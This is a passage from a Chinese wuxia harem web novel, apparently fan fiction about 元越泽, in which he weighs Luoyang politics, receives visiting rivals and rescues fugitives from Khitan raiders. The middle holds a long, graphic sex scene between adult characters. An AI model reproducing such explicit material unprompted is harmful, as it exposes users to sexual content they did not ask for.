商青雅又白了鲁妙子一眼道:“珣儿有消息已经传来,这几日,洛阳的归属应该就定下来了。”
鲁妙子听后严肃地点了点头:“宋智那里可有最新消息传来?”
商青雅答道:“萧铣派人去过山城,似是被周围势力呀得喘不过气来,打算与宋家结盟。”
鲁妙子道:“如果能暂时出一小部分兵,借机掩人耳目,先将南方海域拿到手就好了。”
商青雅点头道:“山城那边也是如此打算的。目前我们还是只管好自己就可以。”
鲁妙子又问道:“西域那个奸细的事,查得如何?”
商青雅颓然道:“根本不知他去了哪里,只能肯定他一定还活着。”
“不要紧,他定不会放弃的,只要他再来,我们就绝不放过他!”
鲁妙子安慰道。
商青雅长长叹息一口气,再未开口。
元越泽滔滔不绝,讲得口干舌燥,长呼一口气后道:“大概就是这些。”
沈落雁听得不住地点头,元越泽拉她起身道:“走吧,杨公应该已经安排好所有事情了,我们先回去见他一面再说。”
沈落雁扭捏道:“你可要在姐妹面前为人家说几句好话。”
元越泽刮了她脸蛋一下道:“知道了,先回去再说。”
抱着沈落雁飞奔的元越泽片刻后便到达南城门外,浓重的血腥味道依旧漂浮在空气中,与城内充盈着大胜后的气氛形成一道怪异的风景线。许多士兵都在打扫着战场,须数人方能推动,载满尸骸的手推车来回行驶于战场间,远处浓烟滚滚。
连沈落雁都不忍多看,将螓首埋在元越泽怀里,二人直奔杨公卿府邸而去。
客厅中,杨公卿,独孤峰,张镇周与其他几员外地城防大将皆在,见元越泽与沈落雁并肩而入,众人慌忙起身迎接。
会议进行了一个多时辰。
结束时,时间已近黄昏。
与众人道别后,元越泽带着沈落雁回到家中。
几乎所有人都在客厅里谈笑,连一直打坐的红拂都难得跑来凑热闹,尚秀芳不知去了哪里。
见元越泽出一次门就领一个夫人回来,宋玉华的脸色愈发冰冷,红拂则是眼神深出闪过丝丝的不屑。
元越泽哪有闲心理会她们,为自己的妻子们介绍完沈落雁后,让扭捏的沈落雁与众女大谈经历,自己迷迷糊糊地直接睡在单美仙极具弹性的玉-腿上。
时间紧迫,为第一时间内提高沈落雁的实力,当晚元越泽就必须要为其炼化身体,否则坐上城主之位时,定当不会被各方心怀叵测的人士放过,阴谋,刺杀等等手段都可能会用上。
拥坐了良久,二人渐起反应,元越泽开口道:“怪不怪我太唐突了?”
沈落雁并没答话,只是温柔的摇了摇头。
“我元越泽在此立誓,如日后对落雁有半分辜负,就让……”
元越泽话未说完,沈落雁芬芳柔软的香唇已经贴上元越泽的嘴唇,一回生二回熟,精明聪慧的女人总是这样可爱,这不,已经开始用那条柔软的在挑-逗着元越泽的追逐了。如捉迷藏一般,你追我赶,你来我躲。元越泽情急之下,一把将其按住,掌握起主动来。
迷糊间,沈落雁只觉胸口一凉,睁开春水朦胧的秀眸时,自己已经是地躺在床榻上了,元越泽则同样地上下打量着眼前玲珑优美,绵延起伏的美景。沈落雁下身的毛发并非整齐的倒三角形,有些类似方形,不多不少,很是诱人,元越泽为之失神。
眼角向下一撇,沈落雁没来由地芳心巨颤,轻轻闭上双眼,暗忖那东西太可怕了吧!
元越泽一双坏手已经开始抚上眼前的象牙白玉,敏感的窍穴似是都被他把握得一清二楚。元越泽手指每接触她一下,沈落雁都觉得体内多了一股热流,似是有规律,又似是杂乱无章的游走在她的经脉及血肉内。沈落雁强忍着不让自己发出那种让人害羞的声音,可最终,在私壑处遭到对方舌尖轻微的触碰后,她的大脑中不复清明,娇羞地一声声不由自主地娇啼轻哼。
元越泽一个热吻吻遍她的全身,再大过手足之瘾后,双手停在那对美丽娇挺的白兔上,嘿嘿一笑道:“请问美人儿军师,你在上面还是我在上面呢?”
沈落雁本是春情勃发,早就在扭动着水蛇腰,想要开口让元越泽快点来填补自己的空虚,又觉得羞涩万分,不好开口。突然听到元越泽的邪笑声,当即睁开朦胧的双眼,桃腮绯红,丽色娇晕,无力地嗔道:“不许那样唤人家,还不快……快来……”
她此刻哪里还有平时掌管万千瓦岗军的那种威严,完全一副媚死人不偿命的跳脱精灵模样。
“得令!”
元越泽缓缓压到她雪白诱人的身体上,坚硬灼热的巨物正好顶着沈落雁的小腹,又低下头去吻她的脸。沈落雁脑中一顿混乱,滔天欲潮奔腾泛滥。且她本就是豪爽女子,在心爱男子的挑逗前,她放开自己,探出丁香小舌,与元越泽纠缠起来。
同时大手开始游走在她细致白皙似绵雪的玉臂、如瓷器般光滑的裸背、纤细小巧不堪一握的柳腰、嫩滑无比却弹力惊人的雪臀、娇挺饱满的双乳和上面充血挺起的两点嫣红、最后来到那片流出滑腻淫水的小森林中。
沈落雁热情被点燃,娇躯剧烈颤抖扭动,藕臂死死地搂着他的后背。不知天高地厚的迎合着。
两人互相吸吮,热烈的吻含吸吮着对方的唾液,那里包含着彼此亲密无间的之爱。他们使劲的拥抱着对方,抵死纠缠。沈落雁娇哼连连,身体各个敏感地带不断传来的那种酥软麻痒的快感正令她无法招架,脸泛上红潮更浓,呼吸由急促变得沉重。
前戏充分,沈落雁幽谷中早就是流水潺潺,润滑无比了。元越泽的枪头终于抵上她春水泛滥的肉洞口,准备直捣黄龙。
长枪顶破那曾象征处女的肉膜,开始向沈落雁滑腻紧窄的动人身体更深处前进。梅花初放,钻心疼痛袭遍全身的沈落雁略显苍白的玉手死死扣住元越泽的后背,柳眉紧皱,贝齿用力咬着樱唇,眼泪在眼圈中打着转,却依旧没哼出一声。
元越泽知她一向要强,所以才没喊出声来。便怜惜地停下动作,逐一吻去她流出眼眶的泪水。
“都……都进来了吗?”
沈落雁疼痛感渐消,颤声问道。
元越泽撇了撇嘴,做了个无奈的表情。
沈落雁向下望去,心头大惊,那壮硕的巨物至少还有一半在外面。
“第一次是这样的,一点点适应了就好,宝贝别紧张。”
元越泽安慰道。
沈落雁自己试着掌握主动,秀眉紧蹙,轻轻扭腰吞吐那凶器,破涕为笑道:“谁是你的宝贝!人家都被你戳……戳裂了!”
“花径不曾缘客扫,蓬门今始为君开。”
元越泽摇头晃脑地吟道。
聪明如沈落雁哪还能听不出意思,‘扑哧’笑出声来:“这是谁作的淫诗?噢!”
趁着转移她注意力的档儿,元越泽终于一枪到底!
伴随着剧烈的疼痛感,一股从来没有过的舒畅感走遍全身,沈落雁的空虚终于得到填补。
元越泽继续挑逗着她,在她疼痛感渐渐消失后,才由慢至快的抽插起来。长枪在花道内不断地进出着,粉嫩的小花瓣被带得翻进翻出,泛滥的淫水不断随二人的激烈动作射出,二人下身和床单湿得一塌糊涂。沈落雁被快感弄得神智模糊,呻吟声越来越高,由起初的有节奏变为疯狂的呐喊,身体亦扭动迎合得更厉害。
她的花道很深,与云玉真像是两个极端。无数褶皱组成的肉壁按摩着长枪,令元越泽深深迷醉其中,舒爽无比。他一边动作着,一边亲吻着她的小嘴和玉乳,大手则向下按在她的柔软饱满的花阜,最后摸上花阜下方摸到一颗小小红豆般的阴蒂,沾满滑腻淫水的手指开始在那上面揉动起来。沈落雁浑身玫瑰色更浓,乱扭香汗淋漓的娇躯,隆臀狂摇,红润檀口中的仙乐更嘹亮,卧房内一片淫糜气息。
“哎!”
国色天香,貌美如仙,香汗淋漓的俏军师芳心一片眩晕,大脑一阵空白,柳腰拼命弓起,鲜红诱-人的柔嫩樱唇一声娇媚婉转,高亢嘹亮的娇啼,终于第一次爬上了的极乐巅峰。她的花道开始一阵急促的抽搐,花心节奏最猛烈,并狂喷出大股阴精。
沈落雁的战斗力大大出乎元越泽意料之外,第一次竟然可以坚持到大半个时辰,望着娇喘吁吁,媚眼如丝,玉肤粉红的佳人,元越泽柔声细语抚慰起来。
恢复力气半晌,伏在元越泽胸前的沈落雁感受着下面那依旧在蠢蠢欲动的‘小小泽’,面红耳赤地低声道:“夫君,我……我还……”
元越泽接口笑道:“还想要,对不对?”
沈落雁大窘,刚刚欲仙欲死的滋味蚀骨销魂,让她忍不住想再尝试,又怕元越泽笑话她,是以期期艾艾,想说又不好意思说。
“落雁是不是太放荡了?”
沈落雁小声问。
元越泽咬着她晶莹如玉的耳珠笑道:“在自己夫君面前放开胸怀最重要,在外人面前是贞女,在床上是荡-妇,你那些姐妹都是这样的,嘿嘿。”
“那你还不快来?”
沈落雁一个媚眼甩给元越泽,娇声道。
“来就来,我还会怕你?”
“不要,这次人家要在上面!”
“哇!小心点儿啊,你刚破了身!”
“宝贝,你今年多大?”
“二……二十一啊!怎……怎么了?”
“你怎么好像三四十岁的样子,太‘凶猛’了!”
“哎!轻点,人家要被你捣……捣散了……”
第051章 李唐之邀
再次睁开眼睛时,外面天色已经渐亮。
元越泽扭过头,忘向躺在自己臂弯里的女子,昔日瓦岗军中的红粉军师,‘蛇蝎美人’沈落雁。
只见她秀发凌乱披散,俏脸眉梢春情未消,玉容更胜往日,俨然多了一层从未有过的圣洁之色。这正是炼化后身体的最明显特征。
元越泽昨晚就已是惊讶万分,初夜中可以力敌元越泽的,目前为止,只有沈落雁一人。
沈落雁早就醒来,仰卧着瞪大那双澄明深邃的美眸,盯着屋顶。
察觉到元越泽的细微动作,沈落雁扭过头,以单肘支撑起上半身,似笑非笑地望着一脸猪哥相的元越泽半晌,开口道:“落雁其实不是败在你的手里,对不对?”
元越泽点了点头。
沈落雁将螓首贴在元越泽胸口:“那人家和你的赌局就算作废了。”
元越泽愕然:“那怎么成哩,你不会是害怕了吧?”
沈落雁心一虚,登时不知该如何回答。
昨天与单美仙几女谈了数个时辰,大概弄懂了眼下的形势。以沈落雁这般巾帼英雌,都没信心能好好坐上洛阳城主的位置。这是长久以来形成的根深蒂固的想法。她一方面想为女性争一口气,另一方面又深深被时代男尊女卑的思想所禁锢着,正好造就出她的矛盾想法。今日醒来许久,她反复思索,越想越没信心,尤其是元越泽说得很清楚,就是所有事都由沈落雁自己作主,元越泽不会做出半点扰乱她意志的事情。刚刚谈起赌局,并非是沈落雁为难元越泽,只是想找个理由拒绝掉这个城主的位置,哪知元越泽却不干了。
娇笑一声,沈落雁媚声道:“休要用激将法,人家才不上当呢!”
元越泽抚着她的秀发,叹道:“如今这一切都是被逼的,假如没有暗中那些可恶的势力,我们完全可以将二哥捧起来。但形势并非那般,所以才要靠你。有美仙她们在背后帮你,你还怕什么?”
沈落雁轻轻点了点头,随后嗔道:“人家也是个人嘛,自然也有软弱的时候,是需要身边的人来鼓励的,谢谢夫君。”
元越泽隔着被子轻抽了一下她的香臀,失笑道:“拿出往日的瓦岗寨军师的风采来,出了什么事我们都会在背后支持你。”
沈落雁极其配合,夸张地‘哎哟’一声,又道:“昨日与姐妹们谈了许多,你们几乎将落雁的所有计划全算计好了,却没有算计到一点。”
见元越泽好奇的表情,沈落雁笑道:“其实杨公卿,王世充的所有行动,都被人家掌握在手中,只是没想到姐妹们个个都是才华横溢的人,真正策划所有事情的并非杨公卿或者王世充。”
元越泽接口道:“那你的意思是说,你们安排了一个非常隐秘的细作在王世充身边?”
沈落雁点头道:“玲珑娇手下有一个叫任郓的人,是她的心腹,但你们谁都想不到,人郓其实是我们的人。比如贞贞姐与杨公卿走得很近这种极其机密的事,都是任郓秘密告诉人家的呢。”
元越泽惊讶道:“那我必须快点通知玲珑娇了,看来我还是小看了落雁哩。”
沈落雁笑道:“李密如今一败,任郓哪里还敢再留下去。”
元越泽正要再说话,屋外卫贞贞敲门声响起:“夫君起来了吗,有人来拜访了。”
卫贞贞已经算这一家人中最有礼貌的了,还知道敲门,听到元越泽声音后,进得屋来,眼神望了一眼变化明显的沈落雁,呆滞一下后,对元越泽笑道:“外面来了一些客人,都要见夫君,美仙姐着我来通知你。”
沈落雁对卫贞贞羞涩一笑,将脑袋埋在元越泽胸口。
元越泽坐起身形,问道:“都有谁?”
卫贞贞坐到床头:“有东平的王通,欧阳希夷前辈,还有伏骞,李世民及李秀宁,另外还有突厥的那个与夫君比试过的跋锋寒。”
想起前几日他们还围攻自己,如今又来拜访,元越泽失笑道:“这些人来得也真够快,除了跋锋寒外,其他人到此该都是与政治目的有关。”
卫贞贞答道:“夫君和落雁妹妹起来准备一下吧。”
语毕,轻笑着抚了一把沈落雁的长发,出门去了。
元越泽就要下床,沈落雁忙也坐起来,秀眉猛地一皱,开口道:“落雁侍侯夫君更衣。”
元越泽回头望了她一眼,将她按倒笑道:“扯到伤口了吧?我有手有脚,不用别人侍侯。习惯被人侍侯不是什么好习惯。你就乖乖躺着吧。恢复好以后,想再好好休息就很难了。”
沈落雁明白他话里的意思,点了点头:“休息好后,落雁还要尽量去找到瓦岗军从前的一些忠义将领,尽量在他们投靠其他势力前将其劝降。”
随即又羞涩地低声道:“夫君能帮人家拿镜子过来吗?”
元越泽知她定是察觉到了身体的变化,当下利索地穿好衣服,将镜子放递给沈落雁前开口道:“劝降的事不用勉强,而这镜子,你要等我出去后才可以照。”
沈落雁莫名其妙地点了点头。
元越泽快步走出门外,果然,屋内传出沈落雁的一声喜悦中夹杂幸福的高声尖叫。
元越泽住的这所宅院本来就不大,几方来客皆被分散安排到不同的客厅内,按照卫贞贞的指点,元越泽率先进入重要的主客厅。
王通与欧阳希夷正在单美仙的陪同下品茶闲聊。
元越泽推门而入,屋内三人皆起身迎了上来。
边走边伸出右手,元越泽笑道:“二老从何而来?今日为何有兴趣到我家中做客。”
这时代握手还不如拱手施礼流行,但王,欧阳二人只是一愣后便上前握手。
“希夷兄想来拜访公子,老夫就厚着脸皮跟来了,希望公子见谅。”
王通自嘲道。
单美仙并没像寻常女子那般作福身,只是轻点头告了声罪后走出门外。
元越泽三人端坐好后,见茶几上居然放着一些香烟,想起自己来到这个空间后,都没再尝过了,定是刚刚单美仙为招待这两个客人而拿出来的。当下三人各自点火,开始吞云吐雾。
“一别近月,二老过得可还好?”
元越泽深吸一口后道。
欧阳希夷显然对这后世香烟很感兴趣,沉醉其中猛听到元越泽开口,忙笑道:“我们两个老头子还好,公子的修为看来又有长进,真是不服都不行!”
元越泽亦笑道:“欧阳前辈见笑了,两位今日所为何来?”
真正让元越泽心甘情愿以‘前辈’相称的只有欧阳希夷。从第一次见面起元越泽就如此称呼他。
王通道:“公子如此直接,老夫亦不拖泥带水,老夫想问问王尚书的现况如何?”
元越泽好奇道:“这问题不该来问我吧?洛阳现在不仍然是皇泰主在主持吗?”
王通笑道:“公子性格直爽,眼下只有我们三人,当知老夫话中含义。老夫刚刚已与尊夫人谈过,只不过是想与公子确认一下而已。”
元越泽想起单美仙刚刚走时的安心眼神,该是已经与王通二人谈过些什么,王通之所以要见元越泽,正是他不敢确认单美仙所说的话,毕竟男人当家作主的情况在这个年代还是最普遍的。
见元越泽的表情古怪,欧阳希夷亦笑道:“元小兄弟不必猜测了,王兄所言的都是事实。其实现在有心人都清楚,洛阳最有说话分量的就是你,杨侗的确又被独孤阀捧了起来,可独孤阀与你是什么关系?再想想你们从前在皇宫那场打斗,结果不就很明显了吗?我们二人要问王尚书的消息,皆因数十年好友交往,不忍心看他下场惨不忍睹而已。”
欧阳希夷所言句句在理,元越泽点了点头笑道:“美仙该已经与二位说过了吧,问不问我都没什么关系,我家里事情并不是我一个人作主的,她们任何一个人的话,就等于我的话。”
王通二人眼中闪过一丝惊讶之色,随后脸色不自然道:“不知公子可否着我二人与王尚书见一面。”
元越泽皱眉道:“二位与王世充交往多年,我冒昧问一句,二位对他的所有事情都了解吗?”
欧阳希夷道:“老夫只知他的心机与武功深藏不露,其他的倒真不知晓。公子意思是他还有什么秘密?”
见王通点头附和欧阳希夷后,元越泽将所知关于王世充的所有事情讲了出来。
惊呆半晌后,王通率先道:“如不是清楚公子的品性,老夫定认为你是在含血喷人。没想到他竟然是域外邪教的上一代‘原子’。”
欧阳希夷亦叹道:“这次洛阳之战前,他本派人邀请老夫来相助,老夫当时正在闭关,出关时才发觉到信函。没想到他隐藏得如此好,几十年都将我们蒙在鼓里。”
元越泽道:“二位如此轻易便相信我,看来很不适合从政。”
王通大笑自嘲道:“老夫只是个酸儒,希夷兄只是个乞丐,哪里和政治会扯上关系。”
元越泽同样笑道:“说得好,元某人也是个懒散人,最不适合搞政治,今日就请二位留下做客,元某好好与二位喝几杯。”
欧阳希夷讶道:“公子既不喜欢政治,为何又要趟上洛阳这片混水?”
元越泽答道:“说来话长,让美仙与二位细说吧。二位不要见外,我还要去见见其他客人。”
告辞出得客厅门口,元越泽呼了一口气,还好有单美仙,卫贞贞几女在,否则他根本应付不过来。
步入西厢的小客厅,正在陪着李世民兄妹及一个丫鬟说笑的商秀珣眼中闪过一丝解脱,见到元越泽这救命稻草,直接起身告辞。
落座后,李世民大方拱手道:“前几日事出有因,世民身不有己,今日特来向元兄赔罪。”
李秀宁则与那丫鬟垂首而坐。
元越泽想起李世民的作为,心头虽然不爽,却也轻笑道:“所谓‘人在江湖,身不由己’,过去的事情就不必说了。”
李世民大概清楚了一些元越泽的行事风格,如他今日不带李秀宁来,那元越泽必定不会轻易放过他。眼下李秀宁在这里,元越泽虽对她情绪说不太清,却也有着丝丝顾忌。而李世民开场又毫不避讳地公开承认错误,使得元越泽即便想说他的不是,此刻也不好开口了。
李世民脸色不自然道:“唉,说来好笑,世民都觉无脸面再见元兄,可想到元兄曾救秀宁与危难之际,不来亲自感谢就太说不过去了。”
不提起这事倒还好,一想起李世民的计谋,元越泽就心头冒火,看李秀宁的样子,定是将所有苦果都憋在自己心里了。但以李世民的心思,又岂会察觉不到什么?所以不管李世民到底清楚不清楚他的计谋已被识穿,他都不会放弃用李秀宁来与元越泽扯上关系。
仅凭开场几句话,李世民更清楚把握到元越泽对李秀宁的心意。
元越泽淡淡道:“世民兄不必客气,令妹当时的处境,我想只要是个有良心的人,都不会不理的。”
语气重重地落在‘良心’二字上。
李秀宁闻听后香肩轻轻一颤。
李世民脸色依旧不变,赞道:“元兄万事皆由心意所发,真是值得我辈学习。今日秀宁要亲自来道谢,世民还有事,就先告辞了,元兄多保重。”
元越泽皮笑肉不笑地客气一句,望着李世民起身告辞后,心思飞转:因为正如刚刚欧阳希夷所说,独孤阀如今大张旗鼓地再捧杨侗回来作城主,那元越泽与独孤阀作的那场戏就肯定瞒不过有心人了。李世民竟然半句都没提到洛阳的事情,这有点太离奇了。须知眼下有李秀宁在一旁影响元越泽心神,李世民还是有机会打探到一些事情的。
李世民走后,屋内只剩下元越泽,李秀宁,还有那个丫鬟。
元越泽好奇地看了那丫鬟一眼,没说什么。
李秀宁更是端坐在那里,一小口一小口地品茶,不发一言。
屋内气氛逐渐有些尴尬,元越泽终于开口了:“秀宁这几日过得如何?”
李秀宁终于抬起头来,看得元越泽心头剧颤,她憔悴了好多。
终是不忍心,元越泽伸出手:“把你的手给我。”
李秀宁疲累的玉容上飞起两朵红云,毫不犹豫地伸出苍白的玉手,搭在元越泽大手上,一股极具生机的元气如小溪般流入体内,运转几周后,李秀宁的精神好了许多。
抽回手,李秀宁低声道:“多谢公子。”
元越泽望了那个依旧垂头在一旁的丫鬟,笑道:“秀宁留下该是有其他事情要说吧。”
李秀宁抬起头,苦笑着点了点头。那一刹那,她内心的激烈斗争仿佛写在了脸上,苦笑中更是带着说不出的凄美。
元越泽不忍看她如此,开口道:“不用自责,你为了你的家族,一切都是天经地义的。”
李秀宁低声道:“公子如此刻强行赶走秀宁,远比说这些理解秀宁的话更让秀宁安心。”
那垂头的丫鬟终于轻轻动了一下,似是在偷偷拉扯李秀宁的衣角。
这种小动作岂能瞒过元越泽,元越泽已猜到定是李世民有话要询问元越泽,自己不好发问,便着李秀宁来询问,而她身边的丫鬟,则明显是李世民派来监视李秀宁的。由此可以看出李世民已经不敢完全相信自己的妹妹了。
元越泽也想知道李世民到底托李秀宁来打探什么,当下笑道:“不是我理解你,而是你有这个魅力。我不会赶你走的,但是你如果不把话说清楚,我就要离开了。”
李秀宁忙开口道:“不要……秀宁其实是闻听公子一家人喜欢游历的生活,想……想……想邀请公子与尊夫人半年后到长安作客。”
见她越说声音越低,元越泽哑然失笑:“这又有什么难的,不给别人面子,也要给你这个面子。”
话虽如此说,元越泽心思却不停运转:这定是李世民的意思,去长安,还要带上媳妇。在外人眼里将是碍手碍脚。而‘杨公宝库’在长安的消息,知道的人少之又少,难道是李世民从哪里得到了这个消息,引我去踩陷阱?李世民也正是看清了李秀宁可以钳制元越泽这一点,才让李秀宁来邀请元越泽。
但元越泽真的会束手束脚,陷入被动?那可就不一定了!
天下间只有一种人可以限制元越泽:那就是讲道理的人。
政客是不讲道理的,李秀宁在个人感情与家族利益的夹层中苦不堪言,元越泽对她却有些动心,但更多的只是同情,可怜而已。
爽朗一笑后,元越泽再道:“秀宁如没有其他事,可以留下来吃一顿饭,我正好要下厨招待一下今日的宾客。”
李秀宁从前来过元越泽家中几次,还真的没有被邀请过同席用餐。元越泽的厨艺远在他的武功之上,这个说法于岭南大婚后就传遍江湖,今天李世民交代她的任务也完成了,虽然心里一直觉得对不住元越泽,注意力此刻却被吸引到美食上,立即露出天真少女的娇态,笑道:“那秀宁就不客气了”再客套几句,着商秀珣来陪她,元越泽再去面会其他几方客人。
果然不出所料,这些人都是为了洛阳之事而来。元越泽家中几女分别应付了他们,但他们却依旧要见元越泽,主要就是不认为哪个女子可以作得了一家之主,更何况是元越泽这等闻名天下的人的主。
让元越泽高兴的是,他并不需要花费多少时间再与那些人周旋,因为几女已经将那些客人应付得差不多了,元越泽只需去点头确认即可。
只有跋锋寒是纯粹路过探望,与元越泽倒是相谈甚欢。
亲手做了一顿大餐,招呼一众宾客后,众客逐一离去。
忙活一天,夜色逐渐深沉,元越泽独自站在墙头吹着习习凉风,听着不远处小池塘里的蛙声。
“蜃气为楼阁,蛙声作管弦。”
素素动听的声音在身后响起。
一阵淡淡的香风吹过,人影已飘上墙头,来到元越泽身侧。
元越泽侧头望了一眼,问道:“这是素素的作品吗?”
素素白了元越泽一眼,嗔道:“夫君又来戏弄人家,素素还没有那么高的才气呢!”
元越泽眉头轻皱道:“那是谁的作品?李白的还是杜甫的?”
素素娇笑道:“夫君读了那么多书,不会脑子里已经糊涂了吧,是贾弇的。”
元越泽恍然大悟地点了点头道:“我是读了许多书,可也不可能全部都记住吧,诗词那么多,只能记住一些自己感兴趣的而已。”
素素抱上元越泽的胳膊道:“今日真是忙怀了,姐妹们逐一应付那些客人,没有哪个是简单角色。”
元越泽问道:“仔细说说。”
素素答道:“首先是王通他二人,欧阳老前辈还要好说一些,毕竟是江湖中人,为人又仗义,可是依旧觉得夫君是魔门中人,眼中总是有不信任的神色。而王通算是个儒家的代表,如能将他说服,对日后实行改革大有裨益。”
元越泽点头道:“他们在我面前还说了解我的性格,我当时一听就觉得那些都只是客套话,其实真正了解我的,除了我们一家人外,也就寥寥几人而已。”
素素点头道:“美仙姐果真不一般,给王通讲了好多儒家,法家的大道理。又给欧阳老前辈讲了一些正邪皆在乎一心之说。虽然短时期内还无法改变他们的固有态度,却也算开了个好头。而且最重要一点,就是夫君虽然是魔门中人,却从未做过什么坏事,他们想拿话柄都没机会。”
元越泽想起了婠婠,当下哭笑不得道:“我是稀里糊涂间被骗进魔门的,还有那什么‘邪皇’,完全是我一时胡乱开口编造出来的东西,现在可倒好,外面传得风言风语,即便我说实话,也不会有人相信了。”
素素当即笑得前仰后合,半晌后又道:“至于李世民的事情,该是像夫君所想像那般,我们日后只要兵来将档即可。而伏骞他们就更不在话下了,贞贞姐与他们相对完全不落下风,就让他们先与铁勒斗吧。”
元越泽点了点头,揽上素素道:“真是苦了你们了,说来惭愧,我除了立个大志愿外,连最基本的以身做则都不会,事情几乎都是你们姐妹们在忙前忙后。”
素素笑道:“为夫君尽力,是姐妹们的荣幸。再者,夫君其实已经变化很大了。想从前夫君只为了自己自由自在,再到后来一点点参与到与人斗智斗力,这对夫君这样一直坚持自己原则的人来说,已算难得。素素相信夫君还会更进一步融入这俗世的。”
元越泽点了点头,素素所言的确不假。他的确在变,只是变化速度慢得惊人。当下惭愧道:“我随性过头了,明明是入世,却在自命清高,真是虚假,今后还得多多学习才是。”
素素没有言语,只是轻轻地点了点头:“洛阳如今已定,杨公再无法继续封锁城市,明日各方代表该会离开洛阳了。”
元越泽沉声道:“应该有许多人认为洛阳其实是我在作主的吧?眼下还是杨侗在位,他们就如此放心离去?不想看看我有什么动作?”
素素笑道:“夫君有什么动作又有何关系,人人都相信洛阳城主无论是谁,都会与夫君关系最密切,只这一条就足够了。离不离开又有何妨?”
宋玉致的声音也在后方响起:“的确如素素姐所讲。”
二人回头,跃下墙头,望着宋玉致手里的纸条,元越泽道:“致致可是有最新消息?”
宋玉致点了点头,递上纸条。
三日后。
寿县南,安丰塘畔。
本是环境清新而幽雅。良田万顷,水渠如网,绿柳如带,烟波浩淼,水天一色的风景附近,却有着一副与之格格不入的画面。
二十几个脸色疲惫,衣衫不整的人在烈日下向东前进着。他们中有男也有女。
这些人似是累坏了,刚刚准备坐下拿出水袋喝上一口,突然发觉后方烟尘隐约可见。
其中一个看似是小头领地慌忙起身道:“还是甩不掉他们,我们继续上路!”
他身侧的女子却喘着粗气道:“不行了,走不动了,还不如被他们捉回去好。”
此女虽然脸带风尘,却不损其眉目如画的出人姿色,衣着更是简单暴露,玲珑曲线尽显无遗。
那小头领当下急道:“我们答应过人家的诺言,拼死也要实现。再说如被捉回去,他们一拿到消息,定会叫我们生不如死的。”
其中另外一个脸色苍白,白得瘆人的中年男子开口道:“众位义气相助,在下感激不尽,不可因为在下而连累了众位。”
那小头领勉强挤出一丝苦笑道:“没有谁连累谁一说,后面有抓你的人,也有抓我们的人,我们同病相怜,哪有连累与不连累一说?”
说话间,烟尘大作,急剧的蹄声飞速逼近。
仔细一看,原来是八十多骑凶猛大汉。
眨眼间,二十几人慌张起身要继续逃时,那八十多骑已经逼近至十几丈内。
为首的一名容颜冷峻,双目神光闪闪的大汉伸手搭弓,一箭猛射向远处勉强起身的面色惨白男子。
箭势强猛,如出海怒龙般射出,那男子甚至连反应的时间都没有。
“嗖!”
一道白色流光从远处射来,正挡在那箭矢尖端。
“铛!”
清脆的声响过后,众人目光全落在射来的那道白光上。
一把带鞘的透明长剑,正插在地上,微微抖动着。
第052章 邪教隐秘
“这把剑,是……是……”
凭空射来的长剑特征明显,分散在长剑两侧的许多人似是想到了传闻中某人的佩剑,脑中不约而同地想起一个传闻中的人。
显然,逃跑的二十几人脸上一片兴奋,相反,追击的八十多骑则有些慌乱,惟有领头的二人还算镇静。
“什么人!”
刚刚射箭的大汉在马上怒喝一声。
“哈哈!”
两声轻笑,那大汗脸色立变。
第一声明明在几十丈开外,第二声却犹如在眼前,耳边一般。但眼前却没有任何人,那种诡异的感觉直叫人惊骇万分。
顺着声音望过去,一道淡紫色身影正飘忽地逼近战局。
那身影动作看起来随意无比,甚至有些懒散,但几步间竟然已经由数十丈外抵达战圈中央,双手抱胸,站在插入地上的长剑后两尺处,冷冷地打量着眼前的骑兵。
被来人那如宝石般深邃锐利的目光一扫,一众骑兵只觉心头仿佛被压上了千斤巨石一般,随着越来越困难的呼吸,一下又一下的重重敲在心灵最深处,一股软弱失望感顿时蔓延至全身。
“呔!”
为首右侧那大汗见情形越来越不妙,来者只凭眼神就可以制造出如斯力量,当下强守心境,以内气推动声音,喊出一句,惊醒众骑兵。
众骑兵猛然间打了一个冷颤,就在刚刚,如有人要取他们性命,他们此刻绝不会还有呼吸心跳。但他们都是日日过着到头舐血的日子,岂会轻易认输。当下散发出所有气势,策动战马跳蹄狂嘶,紧紧锁住悠然站在前方之人。
队伍左侧的年约五旬,手执狼牙棒的老者双目电光暴射,缓缓开口道:“如老夫所料不错,阁下该是名震天下的元越泽元公子吧。”
来者正是元越泽。
元越泽淡淡一笑,隔空捞起长剑,双手负背后点头道了声“兴会”眼见元越泽如此无礼,那老者面色更冷,闷哼道:“不知阁下为何阻拦我等行事?”
元越泽回头环顾一眼那狼狈的二十几人,见他们眼中都闪过希望的光彩,轻轻点了一下头后对那老者道:“路见不平有人踩,仅此而已。”
那老者冷笑道:“阁下威名已成过去,最好还是不要插手我们的事为好,否则……”
话还没说完,元越泽就摆手不耐烦道:“你们为何抓他们?你们又是何人?”
那老者话被打断,脸色更显难看,沉声道:“他们是老夫仇家,老夫米放。”
元越泽低头沉思,暗忖好像在哪听过这个名字似的,却又想不起来具体线索,便回头问道:“他说的可都是真的?我怎么没听过他的名字?”
就在那老者脸色已经青白相间时,元越泽身后的二十几人放声大笑。其中小头领拱手道:“回元爷,这米放横行东北数十年,人称‘狼王’,不过很久以前就投靠契丹人了。”
元越泽指着他笑骂道:“不许再叫我‘元爷’,否则我第一个宰了你。”
那小头领尴尬地挠了挠头,不好意思地傻笑几声。
回过头,元越泽面色冰冷道:“我看你还像个汉人,没想到却投靠契丹,宁做民族败类,你该就是那什么‘窟窿哥’的手下吧。”
这话一出,元越泽身后又发出一阵爆笑。那老者风度尽去,气得直哆嗦。元越泽身后那艳女笑得花枝乱颤后媚声道:“公子记错了,不是‘窟窿哥’,是‘窟哥’。窟哥是东海盟现在的盟主,契酋摩会的长子,擅使双斧,武技强横,我们二当家亦丧命于他手下。”
元越泽心头狂汗,大唐里这种龙套他哪能全记得住,刚刚也只是略微想起来一点儿而已。回头问那艳女道:“请问这位大姐芳名,你们二当家又是哪位?”
那艳女还未说话,米放当下对身旁的大汉怒喝一声:“兄弟,你抓你要的人,我抓我要的人,一起上,这姓元的童子身早破,大家不必怕他,他一个人又如何保得住后面那些人!”
同一时间,米放身后疾电般射出六骑,分左右交叉般朝元越泽合拢过去。这些契丹马贼面相凶狠,身形彪悍,露出臂膀的都载有护臂或护腕的铁箍,更添其雄猛之态。
元越泽双眼一眯,头也不回道:“你们快撤十丈,小心弓箭。”
逼近元越泽周围一丈的六骑猛勒马缰,战马立时人立而起,离地的双蹄朝元越泽头顶方向乱蹬。十二只马前蹄就要落在一动不动元越泽的头上,退到不远处那些人眼中闪过不忍,实在无法相信元越泽如此简单便丧生。
